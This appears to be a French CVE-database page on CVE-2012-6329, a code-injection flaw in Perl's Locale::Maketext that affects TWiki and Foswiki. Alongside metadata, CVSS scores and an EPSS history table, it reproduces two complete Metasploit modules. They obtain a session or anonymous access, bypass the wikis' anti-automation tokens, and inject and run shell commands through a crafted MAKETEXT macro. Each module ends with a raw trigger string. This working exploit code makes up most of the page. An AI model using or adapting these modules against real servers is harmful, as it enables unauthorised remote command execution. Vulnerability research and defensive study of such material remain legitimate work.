CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The _compile function in Maketext.pm in the Locale::Maketext implementation in Perl before 5.17.7 does not properly handle backslashes and fully qualified method names during compilation of bracket notation, which allows context-dependent attackers to execute arbitrary commands via crafted input to an application that accepts translation strings from users, as demonstrated by the TWiki application before 5.1.3, and the Foswiki application 1.0.x through 1.0.10 and 1.1.x through 1.1.6.
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
86.09%
–
–
2022-06-12
–
–
84.97%
–
–
2022-09-18
–
–
84.01%
–
–
2022-12-18
–
–
83.23%
–
–
2023-03-12
–
–
–
42.49%
–
2023-04-16
–
–
–
52.04%
–
2023-07-23
–
–
–
47.8%
–
2023-11-26
–
–
–
50.72%
–
2024-02-04
–
–
–
59.22%
–
2024-02-11
–
–
–
59.22%
–
2024-03-31
–
–
–
58.97%
–
2024-06-02
–
–
–
58.97%
–
2024-08-04
–
–
–
58.02%
–
2025-01-19
–
–
–
58.02%
–
2025-03-18
–
–
–
–
66.71%
2025-03-18
–
–
–
–
66.71,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2012-12-22 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Foswiki MAKETEXT Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using
a specially crafted MAKETEXT, a malicious user can execute shell commands since the
input is passed to the Perl "eval" command without first being sanitized. The
problem is caused by an underlying security issue in the CPAN:Locale::Maketext
module. Only Foswiki sites that have user interface localization enabled
(UserInterfaceInternationalisation variable set) are vulnerable.
If USERNAME and PASSWORD aren't provided, anonymous access will be tried.
Also, if the FoswikiPage option isn't provided, the module will try to create a
random page on the SandBox space. The modules has been tested successfully on
Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.
},
'Author' =>
[
'Brian Carlson', # original discovery in Perl Locale::Maketext
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6329' ],
[ 'OSVDB', '88410' ],
[ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ]
],
'Privileged' => false, # web server context
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic ruby python bash telnet'
}
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Foswiki 1.1.5', { }]],
'DisclosureDate' => 'Dec 03 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]),
OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end
def do_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@base}bin/login",
'vars_post' =>
{
'username' => username,
'password' => password
}
})
if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /FOSWIKISID=([0-9a-f]*)/
vprint_status "#{res.code}\n#{res.body}"
return nil
end
session = $1
return session
end
def inject_code(session, code)
vprint_status("Retrieving the validation_key...")
res = send_request_cgi({
'uri' => "#{@base}bin/edit#{@page}",
'cookie' => "FOSWIKISID=#{session}"
})
if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/
vprint_error("Error retrieving the validation_key")
return nil
end
validation_key = $1
vprint_good("validation_key found: #{validation_key}")
if session.empty?
if res.headers['Set-Cookie'] =~ /FOSWIKISID=([0-9a-f]*)/
session = $1
else
vprint_error("Error using anonymous access")
return nil
end
end
if res.headers['Set-Cookie'] =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/
strike_one = $1
else
vprint_error("Error getting the FOSWIKISTRIKEONE value")
return nil
end
# Transforming validation_key in order to bypass foswiki antiautomation
validation_key = Rex::Text.md5(validation_key + strike_one)
vprint_status("Transformed validation key: #{validation_key}")
vprint_status("Injecting the payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@base}bin/save#{@page}",
'cookie' => "FOSWIKISID=#{session}",
'vars_post' =>
{
'validation_key' => validation_key,
'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
}
})
if not res or res.code != 302 or res.headers['Location'] !~ /bin\/view#{@page}/
print_warning("Error injecting the payload")
print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
return nil
end
location = URI(res.headers['Location']).path
print_good("Payload injected on #{location}")
return location
end
def check
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
res = send_request_cgi({
'uri' => "#{@base}System/WebHome"
})
if not res or res.code != 200
return Exploit::CheckCode::Unknown
end
if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/
version = $1
print_status("Version found: #{version}")
if version <= "1.1.6"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Detected
end
def exploit
# Init variables
@page = ''
if datastore['FoswikiPage'] and not datastore['FoswikiPage'].empty?
@page << '/' if datastore['FoswikiPage'][0] != '/'
@page << datastore['FoswikiPage']
else
@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
end
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
# Login if needed
if (datastore['USERNAME'] and
not datastore['USERNAME'].empty? and
datastore['PASSWORD'] and
not datastore['PASSWORD'].empty?)
print_status("Trying login to get session ID...")
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
else
print_status("Using anonymous access...")
session = ""
end
if not session
fail_with(Exploit::Failure::Unknown, "Error getting a session ID")
end
# Inject payload
print_status("Trying to inject the payload on #{@page}...")
res = inject_code(session, payload.encoded)
if not res or res !~ /#{@page}/
fail_with(Exploit::Failure::Unknown, "Error injecting the payload")
end
# Execute payload
print_status("Executing the payload through #{@page}...")
res = send_request_cgi({
'uri' => "#{@base}#{@page}",
'cookie' => "FOSWIKISID=#{session}"
})
if not res or res.code != 200 or res.body !~ /HASH/
print_status("#{res.code}\n#{res.body}")
fail_with(Exploit::Failure::Unknown, "Error executing the payload")
end
print_good("Exploitation was successful")
end
end
=begin
* Trigger:
%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%
=end
Date de publication : 2012-12-22 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TWiki MAKETEXT Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a
specially crafted MAKETEXT, a malicious user can execute shell commands since user
input is passed to the Perl "eval" command without first being sanitized. The
problem is caused by an underlying security issue in the CPAN:Locale::Maketext
module. This works in TWiki sites that have user interface localization enabled
(UserInterfaceInternationalisation variable set).
If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also,
if the 'TwikiPage' option isn't provided, the module will try to create a random
page on the SandBox space. The modules has been tested successfully on
TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.
},
'Author' =>
[
'George Clark', # original discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6329' ],
[ 'OSVDB', '88460' ],
[ 'BID', '56950' ],
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329' ]
],
'Privileged' => false, # web server context
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic ruby python bash telnet'
}
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Dec 15 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "TWiki base path", "/" ]),
OptString.new('TwikiPage', [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end
def do_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@base}do/login",
'vars_post' =>
{
'username' => username,
'password' => password
}
})
if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/
return nil
end
session = $1
return session
end
def inject_code(session, code)
vprint_status("Retrieving the crypttoken...")
res = send_request_cgi({
'uri' => "#{@base}do/edit#{@page}",
'cookie' => "TWIKISID=#{session}",
'vars_get' =>
{
'nowysiwyg' => '1'
}
})
if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/
vprint_error("Error retrieving the crypttoken")
return nil
end
crypttoken = $1
vprint_good("crypttoken found: #{crypttoken}")
if session.empty?
if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/
session = $1
else
vprint_error("Error using anonymous access")
return nil
end
end
vprint_status("Injecting the payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@base}do/save#{@page}",
'cookie' => "TWIKISID=#{session}",
'vars_post' =>
{
'crypttoken' => crypttoken,
'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
}
})
if not res or res.code != 302 or res.headers['Location'] =~ /oops/ or res.headers['Location'] !~ /#{@page}/
print_warning("Error injecting the payload")
print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
return nil
end
location = URI(res.headers['Location']).path
print_good("Payload injected on #{location}")
return location
end
def check
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
res = send_request_cgi({
'uri' => "#{@base}do/view/TWiki/WebHome"
})
if not res or res.code != 200
return Exploit::CheckCode::Unknown
end
if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/
version = $1
print_status("Version found: #{version}")
if version < "5.1.3"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Detected
end
def exploit
# Init variables
@page = ''
if datastore['TwikiPage'] and not datastore['TwikiPage'].empty?
@page << '/' if datastore['TwikiPage'][0] != '/'
@page << datastore['TwikiPage']
else
@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
end
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
# Login if needed
if (datastore['USERNAME'] and
not datastore['USERNAME'].empty? and
datastore['PASSWORD'] and
not datastore['PASSWORD'].empty?)
print_status("Trying login to get session ID...")
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
else
print_status("Using anonymous access...")
session = ""
end
if not session
fail_with(Exploit::Failure::Unknown, "Error getting a session ID")
end
# Inject payload
print_status("Trying to inject the payload on #{@page}...")
res = inject_code(session, payload.encoded)
if not res
fail_with(Exploit::Failure::Unknown, "Error injecting the payload")
end
# Execute payload
print_status("Executing the payload through #{res}...")
res = send_request_cgi({
'uri' => res,
'cookie' => "TWIKISID=#{session}"
})
if not res or res.code != 200 or res.body !~ /HASH/
fail_with(Exploit::Failure::Unknown, "Error executing the payload")
end
print_good("Exploitation was successful")
end
end
=begin
* Trigger:
%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%
=end